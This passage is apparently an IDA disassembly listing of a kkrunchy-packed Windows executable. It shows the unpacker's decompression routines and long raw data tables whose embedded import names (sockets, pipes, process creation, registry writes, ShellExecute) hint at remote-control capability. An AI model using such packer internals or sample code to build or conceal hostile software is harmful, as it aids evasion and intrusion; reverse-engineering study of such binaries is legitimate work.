XREF: sub_3EA186+19j add [ebp+4], eax sub [ebp+8], eax mov eax, [ebx] shr eax, cl sub [ebx], eax or eax, 0FFFFFFFFh loc_3EA1C1: ; CODE XREF: sub_3EA186+2Aj test byte ptr [ebp+0Bh], 0FFh jnz short loc_3EA1D2 inc dword ptr [ebp+0] shl dword ptr [ebp+8], 8 shl dword ptr [ebp+4], 8 loc_3EA1D2: ; CODE XREF: sub_3EA186+3Fj shr eax, 1Fh pop ecx retn sub_3EA186 endp ; =============== S U B R O U T I N E ======================================= sub_3EA1D7 proc near ; CODE XREF: start:loc_3EA114p ; sub_3EA1E1:loc_3EA1E7p ... push ebx lea ebx, [ebx+edx*4] call esi ; sub_3EA186 pop ebx adc dl, dl retn sub_3EA1D7 endp ; =============== S U B R O U T I N E ======================================= sub_3EA1E1 proc near ; CODE XREF: start+5Bp start+6Bp ... push eax xor ecx, ecx inc ecx mov edx, ecx loc_3EA1E7: ; CODE XREF: sub_3EA1E1+16j call sub_3EA1D7 call sub_3EA1D7 lea ecx, [eax+ecx*2] test dl, 2 jnz short loc_3EA1E7 pop eax retn sub_3EA1E1 endp kkrunchy ends ; ; Imports from KERNEL32.DLL ; ; =========================================================================== ; Segment type: Externs ; _idata ; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName) extrn LoadLibraryA:dword ; DATA XREF: start+B9o ; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName) extrn GetProcAddress:dword ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute kkrunchy segment para public 'CODE' use32 assume cs:kkrunchy ;org 3EA207h assume es:nothing, ss:nothing, ds:kkrunchy, fs:nothing, gs:nothing db 1Fh dd 2D0000A2h, 0A2h, 4B000000h, 454E5245h, 2E32334Ch, 4C4C44h dd 616F4C00h, 62694C64h, 79726172h, 47000041h, 72507465h dd 6441636Fh, 73657264h, 7000073h, 0A2h, 0 dd 13000000h, 0FB0000A2h, 0A1h, 6Dh dup(0) off_3EA408 dd offset byte_3F9ED3 ; DATA XREF: starto dd offset dword_3F9F70 dd offset dword_3F9F88 dd offset byte_3F9F8F dd offset dword_3F9F9C dd offset word_3FA0AA dd offset byte_3FAA9B dd offset dword_3FAC18 dd offset word_3FAC3E dd offset byte_3FB303 dd offset word_3FBC2A dd offset word_3FBC9E dd offset word_3FD4B2 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0E7h, 3Fh, 0 dd offset dword_3FEF40 dd offset word_3FF01E dd offset dword_3FF9CC dd offset word_3FFE5A dd offset dword_400734 dd offset word_40077E dd offset dword_400DD4 dd offset sub_401000 dd offset sub_400FFC dd 107C0h, 2 dup(0) dd 29h, 42DFh, 1D7Bh, 35B7h, 5B98h, 9606h, 40D1h, 5A40h dd 187Ch, 10456h, 1048Ah, 1057Ch, 10510h, 10540h, 10570h dd 10590h, 10610h, 10678h, 10680h, 10690h, 1069Ah, 106A0h dd 106B0h, 1075Ah, 107C8h, 107E8h, 107F0h, 1085Fh, 107FEh dd 1085Fh, 10883h, 10952h, 108B5h, 108FEh, 1076Ch, 108D1h dd 108FEh, 10924h, 10958h, 10952h, 10960h, 0A459h, 0E908h dd 8522h, 8D5h, 0E2C2h, 8843h, 7D6Eh, 7D81h, 9236h, 7E1Ah dd 1051Ch, 8149h, 81A7h, 81ADh, 0A480h, 8277h, 104DCh dd 8522h, 85E7h, 10790h, 104EEh, 8659h, 86CBh, 87DBh, 8835h dd 8843h, 88C7h, 8918h, 0EA8h, 104D6h, 10528h, 1052Eh dd 6A76h, 9236h, 10540h, 9407h, 942Ch, 944Eh, 951Ah, 95D0h dd 9602h, 98A4h, 98CCh, 996Bh, 964Ah, 967Ch, 96C6h, 972Dh dd 9798h, 97AEh, 97C4h, 10796h, 982Eh, 107A2h, 1079Ch dd 98A4h, 98CCh, 9A38h, 996Bh, 2 dup(99F3h), 9A38h, 2 dup(0A2D8h) dd 0A31Eh, 0A380h, 0A459h, 0A480h, 0A493h, 0A4ABh, 0A4C3h dd 0A4D9h, 0A515h, 0A522h, 0A55Fh, 0A5A8h, 0A5E1h, 0A61Ah dd 0A6BEh, 0A7D0h, 0D399h, 0A99Dh, 0AAAFh, 0AC10h, 0C42Dh dd 0ACBDh, 2D9Dh, 0ACBDh, 0AD04h, 0C5A8h, 0AE68h, 2E1Fh dd 0B135h, 211Dh, 107A8h, 0B501h, 2C04h, 2D70h, 0B63Eh dd 0B79Ah, 0B79Bh, 2DF6h, 0BAA1h, 0D2C1h, 0BD92h, 0BDA0h dd 0BDAEh, 0BDDFh, 0BEBEh, 107BAh, 107B4h, 107AEh, 0C3D6h dd 0C3F4h, 0C428h, 0C44Eh, 0C63Eh, 10506h, 2D92h, 0C68Dh dd 10510h, 10500h, 2DB2h, 10522h, 10516h, 104F4h, 0CBD7h dd 0CD36h, 1092Ah, 2644h, 2767h, 292Ah, 0CE40h, 0CE4Ch dd 2338h, 357Ch, 0CE9Ah, 248Ch, 10570h, 0D243h, 0D288h dd 0D2BCh, 0D399h, 0D496h, 0D523h, 0D61Ah, 0D637h, 0D64Dh dd 0D6A0h, 24DEh, 0D707h, 0D829h, 2B44h, 0D8DBh, 0D8E1h dd 0D951h, 0DA2Fh, 0DAC4h, 0DB16h, 4E4Fh, 10930h, 0DCD6h dd 244Bh, 2530h, 0DE23h, 49F0h, 4D8Ch, 4C9Ch, 296Eh, 2996h dd 2A1Bh, 2AB5h, 29C6h, 2AF7h, 2B2Fh, 0E2C2h, 22A7h, 0E461h dd 0E6CDh, 0E727h, 0E7FDh, 0E835h, 0E908h, 0E9C9h, 257Fh dd 0EBA7h, 5D58h, 0ED22h, 0EDB3h, 4A0Dh, 0EEB8h, 5E6Fh dd 0F1AEh, 0F1E6h, 107C8h, 107F0h, 107FEh, 0F94Bh, 0F98Ch dd 0F999h, 0FB3Bh, 0FB73h, 0FBBEh, 0FC55h, 0FBC3h, 100B4h dd 1013Ah, 10159h, 1015Ch, 101A5h, 101A9h, 101BAh, 101D8h dd 101DBh, 101E8h, 3F32DAh, 3F32DBh, 3F32DCh, 3F32DDh dd 3F32DEh, 3F32E0h, 3F32E1h, 3F32E2h, 3F32E4h, 3F32E5h dd 3F32E7h, 3F32E8h, 3F32E9h, 3F32EAh, 3F32ECh, 3F32EEh dd 3F32F0h, 3F32F1h, 3F32F2h, 3F32F4h, 3F32F5h, 3F32F7h dd 3F32F9h, 3F32FAh, 3F32FBh, 3F32FCh, 3F32FEh, 3F3300h dd 3F3302h, 3F3303h, 3F3304h, 3F3305h, 3F3307h, 3F3309h dd 3F330Bh, 3F330Ch, 3F330Dh, 3F330Fh, 3F3310h, 3F3311h dd 3F3313h, 3F3315h, 3F3316h, 3F3318h, 3F331Ah, 3F331Ch dd 3F331Eh, 3F331Fh, 3F3320h, 3F3322h, 3F3324h, 3F3326h dd 3F3328h, 3F332Ah, 3F332Ch, 3F332Dh, 3F332Fh, 3F3331h dd 3F3333h, 3F3335h, 3F3336h, 3F3338h, 3F333Ah, 3F333Ch dd 3F333Dh, 3F333Fh, 3F3340h, 3F3341h, 3F3343h, 3F3345h dd 3F3347h, 3F3349h, 3F334Ah, 3F334Ch, 3F334Eh, 3F3350h dd 3F3351h, 3F3353h, 3F3355h, 3F3356h, 3F3358h, 3F335Ah dd 3F335Ch, 3F335Eh, 3F3360h, 3F3361h, 3F3363h, 3F3365h dd 3F3367h, 3F3369h, 3F336Ah, 3F336Ch, 3F336Eh, 3F336Fh dd 3F3370h, 3F3371h, 3F3373h, 3F3375h, 3F3377h, 3F3379h dd 3F337Ah, 3F337Bh, 3F337Ch, 3F337Eh, 3F3380h, 3F3382h dd 3F3384h, 3F3386h, 3F3388h, 3F3389h, 3F338Bh, 3F338Dh dd 3F3390h, 3F3392h, 3F3394h, 3F3396h, 3F3398h, 3F339Ah dd 3F339Ch, 3F339Eh, 3F33A0h, 3F33A2h, 3F33A4h, 3F33A6h dd 3F33A8h, 3F33AAh, 3F33ACh, 3F33ADh, 3F33AFh, 3F33B1h dd 3F33B3h, 3F33B5h, 3F33B7h, 3F33BAh, 3F33BBh, 3F33BCh dd 3F33BEh, 3F33C0h, 3F33C2h, 3F33C4h, 3F33C6h, 3F33C8h dd 3F33CAh, 3F33CCh, 3F33CFh, 3F33D0h, 3F33D2h, 3F33D4h dd 3F33D6h, 3F33D8h, 3F33DAh, 3F33DBh, 3F33DCh, 3F33DEh dd 3F33E0h, 3F33E2h, 3F33E4h, 3F33E6h, 3F33E8h, 3F33EAh dd 3F33ECh, 3F33EEh, 3F33F0h, 3F33F1h, 3F33F2h, 3F33F4h dd 3F33F6h, 3F33F8h, 3F33FAh, 3F33FCh, 3F33FEh, 3F3400h dd 3F3402h, 3F3404h, 3F3405h, 3F3407h, 3F3409h, 3F340Bh dd 3F340Dh, 3F340Fh, 3F3411h, 3F3413h, 3F3415h, 3F3417h dd 3F341Ah, 3F341Bh, 3F341Ch, 3F341Eh, 3F3420h, 3F3422h dd 3F3424h, 3F3426h, 3F3428h, 3F342Ah, 3F342Ch, 3F342Eh dd 3F3430h, 3F3432h, 3F3434h, 3F3435h, 3F3437h, 3F3439h dd 3F343Bh, 3F343Dh, 3F343Fh, 3F3441h, 3F3443h, 3F3445h dd 3F3447h, 3F3449h, 3F344Bh, 3F344Dh, 3F344Fh, 3F3451h dd 3F3453h, 3F3456h, 3F3457h, 3F3459h, 3F345Bh, 3F345Dh dd 3F345Fh, 3F3461h, 3F3463h, 3F3465h, 3F3467h, 3F3469h dd 3F346Bh, 3F346Dh, 3F346Fh, 3F3471h, 3F3473h, 3F3475h dd 3F3477h, 3F3479h, 3F347Bh, 3F347Dh, 3F347Fh, 3F3481h dd 3F3483h, 3F3485h, 3F3487h, 3F3489h, 3F348Bh, 3F348Dh dd 3F348Fh, 3F3491h, 3F3493h, 3F3495h, 3F3497h, 3F3499h dd 3F349Bh, 3F349Dh, 3F349Fh, 3F34A1h, 3F34A3h, 3 dup(400h) dd 4C3h, 43Dh dd 4EDh, 398h, 2 dup(400h), 1D2h, 242h, 4C6h, 392h, 2DDh dd 24Ch, 400h, 369h, 43Dh, 3FDh, 2 dup(400h), 4DFh, 5D7h dd 4 dup(400h), 41Fh, 55Ch, 2A3h, 49Fh, 0Ah dup(400h) dd 565h, 5CBh, 2 dup(400h), 5C2h, 536h, 14h dup(400h) dd 406h, 446h, 4B7h, 4FFh, 4 dup(400h), 57Ch, 44Ah, 401h dd 4B8h, 14h dup(400h), 3AFh, 405h, 48Ah, 3C1h, 4 dup(400h) dd 3E2h, 439h, 41Ch, 45Bh, 0Ah dup(400h), 47Bh, 54Ah, 2 dup(400h) dd 4DCh, 544h, 4 dup(400h), 461h, 3E0h, 437h, 3FFh, 2 dup(400h) dd 607h, 58Bh, 459h, 400h, 58Ah, 43Ch, 2Bh dup(400h), 414h dd 2 dup(400h), 3F4h, 483h, 0Ah dup(400h), 530h, 4A3h dd 2 dup(400h), 52Bh, 435h, 14h dup(400h), 4BCh, 4DCh dd 4C7h, 386h, 4 dup(400h), 4A4h, 48Ch, 395h, 406h, 0Ah dup(400h) dd 43Bh, 41Ah, 2 dup(400h), 41Eh, 4B1h, 4 dup(400h), 3DAh dd 40Eh, 4DAh, 3A3h, 2 dup(400h), 41Fh, 41Eh, 408h, 43Eh dd 423h, 401h, 0DDh dup(400h), 1CFEh dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_3F2816: ; DATA XREF: start+1Eo mov edi, offset sub_401000 mov ebx, edi sub ebx, 4 mov [ebp+58h], ebx xor eax, eax mov [ebp+5Ch], eax mov [ebp+64h], eax inc eax mov [ebp+60h], eax mov [ebp+68h], eax lea ebx, [esi+58h] xor ecx, ecx loc_3F283A: ; CODE XREF: kkrunchy:003F2845j lodsd mov [ebp+ecx*4+0], ebx add ebx, eax inc ecx cmp cl, 16h jnz short loc_3F283A mov esi, [ebp+4] xchg esi, [ebp+0] push edi lea edi, [ebp+468h] lodsb movzx ecx, al mov ebx, offset byte_3F2A6F loc_3F285D: ; CODE XREF: kkrunchy:loc_3F287Cj mov eax, esi stosd xor eax, eax lodsb cmp al, 66h jnz short loc_3F2868 lodsb loc_3F2868: ; CODE XREF: kkrunchy:003F2865j cmp al, 0Fh jnz short loc_3F286F lodsb mov ah, 1 loc_3F286F: ; CODE XREF: kkrunchy:003F286Aj shr eax, 1 xlat jnb short loc_3F2877 shr al, 4 loc_3F2877: ; CODE XREF: kkrunchy:003F2872j test al, 2 jz short loc_3F287C inc esi loc_3F287C: ; CODE XREF: kkrunchy:003F2879j loop loc_3F285D pop edi loc_3F287F: ; CODE XREF: kkrunchy:003F28CCj ; kkrunchy:003F29BAj ... xor eax, eax cmp [ebp+64h], eax jz short loc_3F288A xchg eax, [ebp+64h] xchg eax, esi loc_3F288A: ; CODE XREF: kkrunchy:003F2884j cmp esi, [ebp+0] jz loc_4111E8 lodsb cmp al, 0FFh jz short loc_3F28A5 mov [ebp+64h], esi movzx eax, al mov esi, [ebp+eax*4+468h] loc_3F28A5: ; CODE XREF: kkrunchy:003F2896j xor eax, eax cmp [ebp+60h], eax lodsb jz short loc_3F28C7 cmp al, 0CCh jz short loc_3F28C7 lea ecx, [edi-4] sub ecx, [ebp+58h] mov ebx, [ebp+68h] mov [ebp+ebx*4+68h], ecx loc_3F28BE: ; CODE XREF: kkrunchy:003F28C1j inc byte ptr [ebp+68h] jz short loc_3F28BE mov byte ptr [ebp+60h], 0 loc_3F28C7: ; CODE XREF: kkrunchy:003F28ABj ; kkrunchy:003F28AFj cmp al, 0CEh jnz short loc_3F28CE movsb jmp short loc_3F287F ; --------------------------------------------------------------------------- loc_3F28CE: ; CODE XREF: kkrunchy:003F28C9j stosb xor edx, edx cmp al, 66h jnz short loc_3F28D9 mov dh, 1 lodsb stosb loc_3F28D9: ; CODE XREF: kkrunchy:003F28D3j mov bl, al cmp bl, 0CCh jz short loc_3F28E8 sub bl, 0C2h cmp bl, 1 ja short loc_3F28EC loc_3F28E8: ; CODE XREF: kkrunchy:003F28DEj mov byte ptr [ebp+60h], 1 loc_3F28EC: ; CODE XREF: kkrunchy:003F28E6j mov ebx, offset byte_3F2A6F cmp al, 0Fh jnz short loc_3F28F9 lodsb stosb mov ah, 1 loc_3F28F9: ; CODE XREF: kkrunchy:003F28F3j shr eax, 1 xlat jnb short loc_3F2901 shr al, 4 loc_3F2901: ; CODE XREF: kkrunchy:003F28FCj and al, 0Fh mov cl, al test cl, 2 jz loc_3F2993 lodsb stosb mov ch, al mov al, cl and al, 3 cmp al, 3 jnz short loc_3F292C mov cl, 2 test ch, 38h jnz short loc_3F292C mov bl, [edi-2] test bl, 8 jnz short loc_3F292C add cl, 4 loc_3F292C: ; CODE XREF: kkrunchy:003F2918j ; kkrunchy:003F291Fj ... and ch, 0C7h cmp ch, 0C4h jz short loc_3F2943 mov al, ch and al, 7 cmp al, 4 jnz short loc_3F2943 xchg esi, [ebp+54h] movsb xchg esi, [ebp+54h] loc_3F2943: ; CODE XREF: kkrunchy:003F2932j ; kkrunchy:003F293Aj mov dl, ch and dl, 0C0h cmp dl, 40h jnz short loc_3F295C movzx ebx, ch and bl, 7 xchg esi, [ebp+ebx*4+4] movsb xchg esi, [ebp+ebx*4+4] loc_3F295C: ; CODE XREF: kkrunchy:003F294Bj cmp dl, 80h jz short loc_3F2973 cmp ch, 5 jz short loc_3F2973 test dl, dl jnz short loc_3F2993 mov al, [edi-1] and al, 7 cmp al, 5 jnz short loc_3F2993 loc_3F2973: ; CODE XREF: kkrunchy:003F295Fj ; kkrunchy:003F2964j xor ebx, ebx cmp ch, 5 jnz short loc_3F297B inc ebx loc_3F297B: ; CODE XREF: kkrunchy:003F2978j xchg esi, [ebp+ebx*4+34h] lodsd dec esi xchg esi, [ebp+ebx*4+34h] xchg esi, [ebp+48h] shl eax, 8 lodsb xchg esi, [ebp+48h] ror eax, 8 stosd loc_3F2993: ; CODE XREF: kkrunchy:003F2908j ; kkrunchy:003F2968j ... mov al, cl and al, 3 cmp al, 1 jnz loc_3F2A35 shr cl, 2 jnz short loc_3F29BF xchg esi, [ebp+3Ch] lodsd dec esi xchg esi, [ebp+3Ch] xchg esi, [ebp+4Ch] shl eax, 8 lodsb xchg esi, [ebp+4Ch] ror eax, 8 stosd jmp loc_3F287F ; --------------------------------------------------------------------------- loc_3F29BF: ; CODE XREF: kkrunchy:003F29A2j dec cl jnz short loc_3F29CF xchg esi, [ebp+24h] movsb xchg esi, [ebp+24h] jmp loc_3F287F ; --------------------------------------------------------------------------- loc_3F29CF: ; CODE XREF: kkrunchy:003F29C1j xor ebx, ebx cmp byte ptr [edi-1], 0E8h jz short loc_3F29F8 xchg esi, [ebp+50h] lodsw xchg esi, [ebp+50h] xchg esi, [ebp+44h] shl eax, 10h lodsw xchg esi, [ebp+44h] shr eax, 1 jnb short loc_3F29F0 not eax loc_3F29F0: ; CODE XREF: kkrunchy:003F29ECj add eax, [ebp+5Ch] mov [ebp+5Ch], eax jmp short loc_3F2A2A ; --------------------------------------------------------------------------- loc_3F29F8: ; CODE XREF: kkrunchy:003F29D5j xor eax, eax xchg esi, [ebp+40h] lodsb xchg esi, [ebp+40h] test al, al jz short loc_3F2A0B mov eax, [ebp+eax*4+68h] jmp short loc_3F2A2A ; --------------------------------------------------------------------------- loc_3F2A0B: ; CODE XREF: kkrunchy:003F2A03j xchg esi, [ebp+50h] lodsw xchg esi, [ebp+50h] xchg esi, [ebp+40h] shl eax, 10h lodsw xchg esi, [ebp+40h] mov ebx, [ebp+68h] mov [ebp+ebx*4+68h], eax loc_3F2A25: ; CODE XREF: kkrunchy:003F2A28j inc byte ptr [ebp+68h] jz short loc_3F2A25 loc_3F2A2A: ; CODE XREF: kkrunchy:003F29F6j ; kkrunchy:003F2A09j sub eax, edi add eax, [ebp+58h] stosd jmp loc_3F287F ; --------------------------------------------------------------------------- loc_3F2A35: ; CODE XREF: kkrunchy:003F2999j shr cl, 2 jz loc_3F287F dec cl jnz short loc_3F2A4E xchg esi, [ebp+28h] movsb xchg esi, [ebp+28h] jmp loc_3F287F ; --------------------------------------------------------------------------- loc_3F2A4E: ; CODE XREF: kkrunchy:003F2A40j dec cl jnz short loc_3F2A62 test dh, dh jnz short loc_3F2A62 xchg esi, [ebp+30h] movsd xchg esi, [ebp+30h] jmp loc_3F287F ; --------------------------------------------------------------------------- loc_3F2A62: ; CODE XREF: kkrunchy:003F2A50j ; kkrunchy:003F2A54j xchg esi, [ebp+2Ch] movsw xchg esi, [ebp+2Ch] jmp loc_3F287F ; --------------------------------------------------------------------------- byte_3F2A6F db 22h ; DATA XREF: kkrunchy:003F2858o ; kkrunchy:loc_3F28ECo dd 7 dup(22008422h), 8422h, 4 dup(0) dd 0A8000022h, 55000064h, 55555555h, 0A6555555h, 22222266h dd 222222h, 0 dd 11000000h, 84000011h, 44000000h, 88444444h, 66888888h dd 0A6220Ch, 2200400Ch, 22004422h, 55222222h, 0DD444455h dd 51h, 2 dup(330000h), 0 dd 22000000h, 222222h, 22000000h, 22h, 2 dup(0) dd 22000000h, 22222222h, 222222h, 0 dd 22000000h, 22222222h, 66222222h, 22266h, 0DD220000h dd 0DDDDDDDDh, 22DDDDDDh, 22222222h, 222222h, 222620h dd 22202620h, 222222h, 22222220h, 222222h, 22000000h, 5 dup(22222222h) db 2 dup(22h), 2 byte_3F2B6F db 0 ; DATA XREF: start:loc_3EA149o dd offset dword_412118 dd 4356534Dh, 642E5452h, 5F006C6Ch, 616F7469h, 74735F00h dd 63696E72h, 5F00706Dh, 54787843h, 776F7268h, 65637845h dd 6F697470h, 3F3F006Eh, 70797431h, 6E695F65h, 40406F66h dd 40454155h, 5F005A58h, 7878435Fh, 6D617246h, 6E614865h dd 72656C64h, 73626D00h, 63776F74h, 74730073h, 61636E72h dd 63770074h, 79706373h, 73637700h, 6E656Ch, 63727473h dd 6D007970h, 6F6D6D65h, 5F006576h, 72746F72h, 6F725F00h dd 5F006C74h, 706E7376h, 746E6972h, 656D0066h, 706D636Dh dd 6C6F7400h, 7265776Fh, 72747300h, 706D63h, 6E697270h dd 3F006674h, 5940323Fh, 58415041h, 5A4049h, 40333F3Fh dd 50584159h, 5A405841h, 70737600h, 746E6972h, 625F0066h dd 6E696765h, 65726874h, 78656461h, 78655F00h, 74706563h dd 6E61685Fh, 72656C64h, 65630033h, 5F006C69h, 6C6F7466h dd 69786500h, 65720074h, 6F6C6C61h, 74730063h, 6D636E72h dd 735F0070h, 6972706Eh, 66746Eh, 73727473h, 73007274h dd 6E616373h, 74610066h, 6600696Fh, 6B656573h, 65726600h dd 66006461h, 6E65706Fh, 6C636600h, 65736Fh, 69727766h dd 66006574h, 6C6C6574h, 72747300h, 746163h, 736D656Dh dd 63007465h, 6B636F6Ch, 72707300h, 66746E69h, 72747300h dd 7970636Eh, 6D656D00h, 797063h, 65657266h, 6C616D00h dd 636F6Ch, 6C727473h, 5F006E65h, 63727473h, 69706Dh, 41220800h dd 32535700h, 2E32335Fh, 6C6C64h, 4FFh, 97FFh, 16FFh, 12FFh dd 15FFh, 2FFh, 13FFh, 5FFh, 0AFFh, 17FFh, 0CFFh, 33FFh dd 6FFFh, 1FFh, 3FFh, 70FFh, 9FFh, 34FFh, 6FFh, 0BFFh dd 10FFh, 8FFh, 14FFh, 74FFh, 11FFh, 49415357h, 6C74636Fh dd 39FF00h, 73FF00h, 0DFF00h, 20300000h, 454B0041h, 4C454E52h dd 642E3233h, 47006C6Ch, 6F437465h, 7475706Dh, 614E7265h dd 41656Dh, 56746547h, 69737265h, 78456E6Fh, 65470041h dd 636F4C74h, 49656C61h, 416F666Eh, 74655300h, 72727543h dd 44746E65h, 63657269h, 79726F74h, 736C0041h, 656C7274h dd 4700416Eh, 69577465h, 776F646Eh, 72694473h, 6F746365h dd 417972h, 61657243h, 69466574h, 41656Ch, 46746547h, 54656C69h dd 656D69h, 46746553h, 54656C69h, 656D69h, 53746547h, 65747379h dd 7269446Dh, 6F746365h, 417972h, 746C754Dh, 74794269h dd 576F5465h, 43656469h, 726168h, 64616F4Ch, 7262694Ch dd 41797261h, 74654700h, 636F7250h, 72646441h, 737365h dd 74697845h, 636F7250h, 737365h, 79706F43h, 656C6946h dd 65470041h, 73614C74h, 72724574h, 5700726Fh, 65746972h dd 656C6946h, 61655300h, 50686372h, 41687461h, 65724300h dd 50657461h, 657069h, 626F6C47h, 654D6C61h, 79726F6Dh dd 74617453h, 44007375h, 696C7075h, 65746163h, 646E6148h dd 4300656Ch, 74616572h, 6F725065h, 73736563h, 65500041h dd 614E6B65h, 5064656Dh, 657069h, 45746547h, 43746978h dd 5065646Fh, 65636F72h, 52007373h, 46646165h, 656C69h dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 74654700h dd 75646F4Dh, 6946656Ch, 614E656Ch, 41656Dh, 6E65704Fh dd 636F7250h, 737365h, 64616552h, 636F7250h, 4D737365h dd 726F6D65h, 6C530079h, 706565h, 6D726554h, 74616E69h dd 6F725065h, 73736563h, 6F6C4300h, 61486573h, 656C646Eh dd 74655300h, 656C6946h, 72747441h, 74756269h, 417365h dd 61636F4Ch, 6572466Ch, 65440065h, 6574656Ch, 656C6946h dd 72430041h, 65746165h, 65726854h, 55006461h, 70616D6Eh dd 77656956h, 6946664Fh, 4D00656Ch, 69567061h, 664F7765h dd 656C6946h, 65724300h, 46657461h, 4D656C69h, 69707061h dd 41676Eh, 44746547h, 466B7369h, 53656572h, 65636170h dd 417845h, 44746547h, 65766972h, 65707954h, 65470041h dd 63695474h, 756F436Bh, 5100746Eh, 79726575h, 66726550h dd 616D726Fh, 4665636Eh, 75716572h, 79636E65h, 65755100h dd 65507972h, 726F6672h, 636E616Dh, 756F4365h, 7265746Eh dd 42734900h, 6F436461h, 74506564h, 65540072h, 6E696D72h dd 54657461h, 61657268h, 6E490064h, 61697469h, 657A696Ch dd 74697243h, 6C616369h, 74636553h, 6E6F69h, 65746E45h dd 69724372h, 61636974h, 6365536Ch, 6E6F6974h, 74654700h dd 72727543h, 50746E65h, 65636F72h, 64497373h, 61654C00h dd 72436576h, 63697469h, 65536C61h, 6F697463h, 6547006Eh dd 72754374h, 746E6572h, 636F7250h, 737365h, 45746553h dd 726F7272h, 65646F4Dh, 65724300h, 4D657461h, 78657475h dd 736C0041h, 70637274h, 6C004179h, 63727473h, 416E7970h dd 74654700h, 69766E45h, 6D6E6F72h, 56746E65h, 61697261h dd 41656C62h, 74736C00h, 706D6372h, 0EC000041h, 55004121h dd 33524553h, 6C642E32h, 7377006Ch, 6E697270h, 416674h dd 57746547h, 6F646E69h, 78655477h, 47004174h, 6F467465h dd 72676572h, 646E756Fh, 646E6957h, 4600776Fh, 57646E69h dd 6F646E69h, 53004177h, 4D646E65h, 61737365h, 416567h dd 68437349h, 6C417261h, 4E616870h, 72656D75h, 416369h dd 41200000h, 56444100h, 33495041h, 6C642E32h, 6552006Ch dd 65704F67h, 79654B6Eh, 417845h, 44676552h, 74656C65h dd 6C615665h, 416575h, 45676552h, 566D756Eh, 65756C61h dd 65520041h, 65755167h, 61567972h, 4565756Ch, 52004178h dd 65536765h, 6C615674h, 78456575h, 65520041h, 65724367h dd 4B657461h, 78457965h, 65470041h, 65735574h, 6D614E72h dd 43004165h, 74707972h, 656C6552h, 43657361h, 65746E6Fh dd 43007478h, 74707972h, 526E6547h, 6F646E61h, 7243006Dh dd 41747079h, 69757163h, 6F436572h, 7865746Eh, 52004174h dd 6C436765h, 4B65736Fh, 7965h, 4121E4h, 4C454853h, 2E32334Ch dd 6C6C64h, 6C656853h, 6578456Ch, 65747563h, 0DC000041h dd 4F004121h, 5541454Ch, 2E323354h, 6C6C64h, 0C8FFh, 0 dd 6BFA00h, 9D00h, 1800h, 700h, 0D00h, 10E00h, 9F100h dd 17D00h, 2600h, 6C500h, 92700h, 7400h, 181400h, 131100h dd 77D00h, 0DE00h, 9AE00h, 48E00h, 8DA00h, 4A00h, 65600h dd 22C00h, 50E8FF00h, 858D5968h, 0C483566Ah, 5775FF74h dd 458D5375h, 15FFC085h, 840FC3EBh, 8B45895Eh, 5FE95545h dd 0EC8B76FFh, 5BC9C033h, 8BF88351h, 72850FF0h, 403D3BBFh dd 8BB5FFBEh, 0EC81B875h, 0DB335D89h, 0CC767D83h, 0D6FFh dd 0F88BF685h, 468DD233h, 0FF5D3958h, 0C7C33B74h, 858B7345h dd 25FFC083h, 5D7D89C2h, 8B7589A3h, 8B868D4Dh, 0FF33BB46h dd 0F6337D8Bh, 0FF4D8D7Ch, 448B4645h, 30FFD88Bh, 0C68BFF85h dd 39BD8077h, 8DF33B45h, 65834884h, 0A141D8F7h, 0F7448DB9h dd 83D7FFF1h, 0F0473DECh, 0C73BC933h, 0F9805D8Bh, 0B6FFBD83h dd 85FB3BF3h, 0C0B60FDBh, 7D805D03h, 0FE83C683h, 0E6C1748Bh dd 9C8DC01Bh, 70FFE9C1h, 46897503h, 0EAC1D98Bh, 8B5D8899h dd 8BC18B76h, 0F45C6CAh, 0AB7F05C1h, 7D39C703h, 0C084FA80h dd 88B5589h, 0E3C1358Bh, 42C0B70Fh, 0C88B5D38h, 0B48DF18Bh dd 0AA7EBD8Dh, 0FE3B4D03h, 0C1837883h, 0F78BF983h, 0E7C1488Dh dd 35FFEFC1h, 0D103A53Ch, 0C83B452Bh, 0C78BFB83h, 0FE8BDE8Bh dd 36FFE1C1h, 88388052h, 8B9D8845h, 8B7C8B06h, 0F7EEC1F9h dd 0F51FFD3h, 7D49C094h, 860F5503h, 8588053Bh, 3D8B4D89h dd 478B408Bh, 0BC8D4C8Bh, 4C7EBC1h, 0FFE0364h, 80453B83h dd 833D8365h, 8A8D89E1h, 8B558B04h, 0C18C8DCEh, 0F71CDDE2h dd 0FB0FFD6h, 0B4345B6h, 39870FCBh, 393D391Dh, 80AB6655h dd 83F98124h, 84C7837Ch, 898589C9h, 8B548B86h, 8BDA8BD6h dd 0C1948DF3h, 0FFF3F7E8h, 0BC60337h, 0BD60BCAh, 0BF30BD9h dd 39FB0BF7h, 3B753958h, 803D80C6h, 84FF837Ch, 880488D2h dd 8A0C8A18h, 2A1A1685h, 2BDA2C0Ch, 0A290612h, 512614BFh dd 0D00010Dh, 0D070001h, 0C0D0501h, 0D0F0901h, 104012Bh dd 0C0D010Dh, 1430401h, 61090C43h, 0B2D0B0Eh, 1090409h dd 80E0700h, 0F090104h, 0D4D0B0Eh, 104014Dh, 0C0D010Dh dd 1430401h, 9100943h, 143D150Fh, 211839FFh, 1D151318h dd 1A16111Ch, 28060C2Ah, 0F06020Ah, 0F06120Eh, 47000206h dd 330C06h, 230B8707h, 1060A04h, 10400h, 0F8080E07h, 100B5908h dd 4010A58h, 4070001h, 4000201h, 7000C01h, 1C1D1318h, 2A1A1611h dd 1090402h, 7000900h, 1040855h, 204513Ch, 0C070001h, 2C200006h dd 20A1257h, 1E39FF00h, 2B2B1403h, 488E0FFFh, 4E8BFF0Fh dd 120439FFh, 0C010204h, 460F010Fh, 104015Fh, 30E0300h dd 0FFFF4612h, 0F6FFFE34h, 3D0C76D8h, 14390F01h, 8B2B3412h dd 0FF873A46h, 2BFF488Bh, 0BE54DFCAh, 0FF1E4CC0h, 909C203h dd 0E0F0901h, 66123712h, 3AFFCE15h, 0FFF0885h, 0FFFD0BEh dd 8DFF85BEh, 0D33BFF58h, 3BFF3D08h, 14040BD0h, 15145F15h dd 0FA108AFFh, 8AFF1508h, 0D03AFF00h, 0BE0FFF08h, 0BE0FFFC0h dd 588DFFD2h, 8D33BFFh, 0D03BFF3Dh, 104D4D0Bh, 2BFF5C15h dd 102EA685h, 0C803FF15h, 0BC985FFh, 0FFBA46CFh, 88B543Bh dd 554D172Ch, 